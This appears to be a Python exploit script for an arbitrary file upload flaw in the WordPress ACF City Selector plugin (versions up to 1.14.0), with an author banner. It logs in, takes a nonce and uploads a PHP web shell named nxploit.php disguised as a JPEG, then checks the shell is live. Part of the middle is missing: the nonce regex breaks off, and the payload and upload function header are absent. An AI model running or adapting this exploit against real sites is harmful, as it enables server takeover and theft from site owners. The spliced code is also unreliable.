import requests import argparse import re session = requests.Session() session.verify = False parser = argparse.ArgumentParser(description="WordPress ACF City Selector plugin <= 1.14.0 - Arbitrary File Upload vulnerability") parser.add_argument('--url', required=True, help="Website base URL (e.g., http://192.168.100.74/wordpress)") parser.add_argument('--username', required=True, help="WordPress username") parser.add_argument('--password', required=True, help="WordPress password") args = parser.parse_args() user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" headers = { "User-Agent": user_agent } def print_banner(): banner = """ @@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@@@@ @@@ @@@@@@@ @@@@@@ @@@@@@ @@@@@@ @@@ @@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@ @@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@ @@@@ !@@ @@! @@@ @@! @@@ @@! @@@@ @@@ @@!@! !@@ !@@ @@@ !@@ @@!@! !@! !@! @!@ !@! @!@ !@! @!@!@ @!@ !@!!@! !@! !@! @!@ !@! !@!!@! !@! @!@ !@! @!!!:! @!@!@!@!@ !!@ @!@ @! !@! !!@ @!! @!! @!@!@!@!@ !!@@!! !!@@!@! !!@ !!@@!@! @!! @!! !!! !@! !!! !!!!!: !!!@!@!!! !!: !@!!! !!! !!: !!! !@! !!!@!@!!! @!!@!!! @!!@!!!! !!: @!!@!!!! !!! !@! :!! :!: !!: !!: !:! !!:! !!! !:! :!!:!:!!: !:! !:! !:! !:! !:! !:! :!!:!:!!: :!: ::!!:! :!: :!: :!: !:! :!: !:::!!::: !:! :!: !:! :!: :!: !:! !:::!!::: ::: ::: :::: :: :::: :: ::::: ::::::: :: :: ::::: ::: :::: :: :::: ::: :: ::::: :::: ::: ::: :: :: : : : :: :: :: : ::: : : : : :: : ::: ::: :: : : :: : : :: : ::: :: : : ::: by : Nxploit | Khaled_alenazi """ print(banner) def get_plugin_version(url): version_url = f"{url}/wp-content/plugins/acf-city-selector/readme.txt" response = session.get(version_url, headers=headers) if response.status_code == 200: match = re.search(r"Stable tag:\s*(\d+\.\d+\.\d+)", response.text) if match: version = match.group(1) print(f"[+] Detected plugin version: {version}") return version else: print("[-] Failed to extract version. Exiting.") exit() else: print("[-] Could not retrieve version information. Exiting.") exit() def is_vulnerable(version): if version <= "1.14.0": print("[+] Vulnerable version detected! Proceeding with exploitation.") return True else: print("[-] Plugin is not vulnerable. Exiting.") exit() def login_to_wordpress(url, username, password): login_url = f"{url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'rememberme': 'forever', 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data, headers=headers) if any('wordpress_logged_in' in cookie.name for cookie in session.cookies): print("[+] Logged in successfully.") return True else: print("[-] Failed to log in.") return False def extract_nonce(url): dashboard_url = f"{url}/wp-admin/options-general.php?page=acfcs-dashboard" response = session.get(dashboard_url, headers=headers) match = re.search(r'""" upload_url = f"{url}/wp-admin/options-general.php?page=acfcs-dashboard" files = { 'acfcs_upload_csv_nonce': (None, nonce), 'MAX_FILE_SIZE': (None, '1024000'), 'acfcs_csv_upload': ('nxploit.php', php_payload, 'image/jpeg'), } headers.update({ "Referer": upload_url, "Origin": args.url }) response = session.post(upload_url, files=files, headers=headers) shell_url = f"{url}/wp-content/uploads/acfcs/nxploit.php" check_response = session.get(shell_url, headers=headers) if check_response.status_code == 200: print(f"[+] Shell uploaded successfully: {shell_url}") else: print("[-] Shell upload failed.") def main(): print_banner() plugin_version = get_plugin_version(args.url) if is_vulnerable(plugin_version): if login_to_wordpress(args.url, args.username, args.password): nonce_value = extract_nonce(args.url) upload_shell(args.url, nonce_value) if __name__ == "__main__": main()